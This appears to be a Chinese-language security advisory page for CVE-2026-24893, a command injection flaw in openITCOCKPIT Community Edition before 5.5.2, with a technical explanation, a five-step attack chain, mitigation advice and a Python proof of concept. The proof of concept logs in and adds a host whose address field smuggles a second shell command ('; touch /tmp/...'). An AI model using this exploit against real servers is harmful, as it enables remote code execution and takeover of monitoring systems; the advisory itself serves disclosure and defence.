IPBUF安全漏洞报告
English
CVE-2026-24893 CVSS 8.8 高危

CVE-2026-24893 openITCOCKPIT命令注入漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-24893
漏洞类型
命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
openITCOCKPIT Community Edition

相关标签

RCE命令注入openITCOCKPITCVE-2026-24893NagiosIcinga

漏洞概述

openITCOCKPIT Community Edition 5.5.2之前的版本存在严重的命令注入漏洞。由于系统在处理用户可控的主机属性(特别是主机地址)时,未对其进行有效的验证、转义或引号包裹,直接将其扩展到监控命令模板中。拥有添加或修改主机权限的认证攻击者可利用此漏洞,在监控后端执行任意操作系统命令,从而导致远程代码执行,完全控制服务器。

技术细节

该漏洞的根源在于openITCOCKPIT在构建监控配置时,未能对用户输入的主机属性(尤其是Host Address)进行严格的输入清洗和转义。系统直接将用户提供的IP地址或主机名拼接到由Nagios/Icinga监控引擎执行的命令模板中。攻击者利用Shell元字符(如分号、管道符、反引号或换行符)破坏原有命令结构,拼接任意恶意指令。攻击流程通常始于拥有主机管理权限的认证用户,其在编辑或创建主机时,在地址栏注入Payload。当监控引擎通过Shell环境解析并执行这些生成的配置命令时,恶意载荷随之运行,导致攻击者在服务器端获得任意代码执行权限,进而完全控制受影响系统。此漏洞利用了配置生成与命令执行之间的信任边界缺失,危害极大。

攻击链分析

STEP 1
1. 身份认证
攻击者使用有效凭证登录openITCOCKPIT系统。
STEP 2
2. 定位入口
导航至主机管理界面,寻找添加或修改主机的功能。
STEP 3
3. 载荷注入
在主机的“地址”字段中注入包含Shell元字符的恶意载荷(如 `; malicious_cmd`)。
STEP 4
4. 模板生成
系统后台将受污染的地址数据扩展到Nagios/Icinga的命令模板中。
STEP 5
5. 命令执行
监控引擎通过Shell执行生成的命令模板,触发恶意代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target = "http://target-openitcockpit.local" username = "attacker" password = "password" # The payload injects a command to create a file as proof of execution # Vulnerable parameter: Host address malicious_address = "127.0.0.1; touch /tmp/vulnerability_poc" # Login to get session session = requests.Session() login_payload = { "login": username, "password": password } login_resp = session.post(f"{target}/login", data=login_payload) if login_resp.status_code == 200: # Prepare host creation data with malicious payload host_data = { "Host[name]": "TestHost", "Host[address]": malicious_address, # Injection point "Host[container]": "1" } # Submit the host configuration resp = session.post(f"{target}/hosts/add", data=host_data) if resp.status_code == 200: print("[+] Host added with malicious address.") print("[+] Check /tmp/vulnerability_poc on the server backend.") else: print("[-] Failed to add host.") else: print("[-] Login failed.")

影响范围

openITCOCKPIT Community Edition < 5.5.2

防御指南

临时缓解措施
建议立即将系统升级至修复版本。如果无法立即升级,应严格限制拥有主机添加或修改权限的用户数量,并审查现有主机配置中是否存在异常的地址字段。同时,监控后端服务器的异常进程和Shell活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表